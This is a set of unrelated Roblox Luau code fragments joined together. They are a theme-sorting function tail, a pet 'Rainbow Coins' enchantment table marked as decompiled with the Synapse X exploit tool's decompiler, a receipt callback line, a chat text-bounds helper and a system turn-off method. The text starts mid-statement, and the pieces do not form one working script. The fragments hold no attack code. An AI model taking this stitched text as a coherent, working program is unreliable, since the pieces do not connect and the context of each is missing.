= themesFolder:GetChildren() table.sort(themeModules, function(a, b) return a.Name < b.Name end) for i, v in ipairs(themeModules) do table.insert(themes, v.Name) end return themes end return module
-- Decompiled with the Synapse X Luau decompiler.
return { ["Rainbow Coins"] = { canDrop = true, dropWeight = 20, isUnique = false, tiers = { { title = "Rainbow Coins I", desc = "Pet earns +15% more Rainbow Coins", value = 1.15 }, { title = "Rainbow Coins II", desc = "Pet earns +30% more Rainbow Coins", value = 1.3 }, { title = "Rainbow Coins III", desc = "Pet earns +50% more Rainbow Coins", value = 1.5 }, { title = "Rainbow Coins IV", desc = "Pet earns +75% more Rainbow Coins", value = 1.75 }, { title = "Rainbow Coins V", desc = "Pet earns +100% more Rainbow Coins", value = 2 } } } };
-- callbacks
MarketplaceService.ProcessReceipt = ProcessReceipt
---Size standards
local DEFAULT_ICON_SIZE=Vector2.new(18,18) local TextService = game:GetService("TextService") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer while not LocalPlayer do Players.ChildAdded:wait() LocalPlayer = Players.LocalPlayer end local clientChatModules = script.Parent.Parent local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings")) local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants")) local module = {} local methods = {} methods.__index = methods function methods:GetStringTextBounds(text, font, textSize, sizeBounds) sizeBounds = sizeBounds or Vector2.new(10000, 10000) return TextService:GetTextSize(text, textSize, font, sizeBounds) end
--[[ Turns the system off ]]
function BaseSystem:turnOff() self._isOn = false Logger.debug("System is now off") sendAlert(Constants.Alert.Normal, translate("{name} is now off!", {name = self.name})) return true end